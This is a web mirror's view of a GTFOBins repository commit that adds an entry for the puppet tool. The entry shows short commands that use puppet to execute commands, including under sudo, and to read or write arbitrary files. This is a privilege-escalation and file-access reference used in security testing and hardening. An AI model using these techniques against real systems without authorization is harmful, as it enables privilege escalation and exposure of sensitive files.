mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add puppet
This commit is contained in:
parent
b3c405e2d5
commit
144e51b165
19
_gtfobins/puppet.md
Normal file
19
_gtfobins/puppet.md
Normal file
@ -0,0 +1,19 @@
|
||||
---
|
||||
functions:
|
||||
execute-non-interactive:
|
||||
- code: |
|
||||
export CMD="/usr/bin/id"
|
||||
puppet apply -e "exec { '${CMD}': }"
|
||||
sudo-enabled:
|
||||
- code: |
|
||||
export CMD="/usr/bin/id"
|
||||
sudo puppet apply -e "exec { '${CMD}': }"
|
||||
file-read:
|
||||
- code: |
|
||||
export LFILE=file_to_read
|
||||
puppet filebucket -l diff /dev/null ${LFILE}
|
||||
file-write:
|
||||
- code: |
|
||||
export LFILE="/tmp/file_to_write"
|
||||
puppet apply -e "file { '${LFILE}': content => 'data' }"
|
||||
---
|
Loading…
Reference in New Issue
Block a user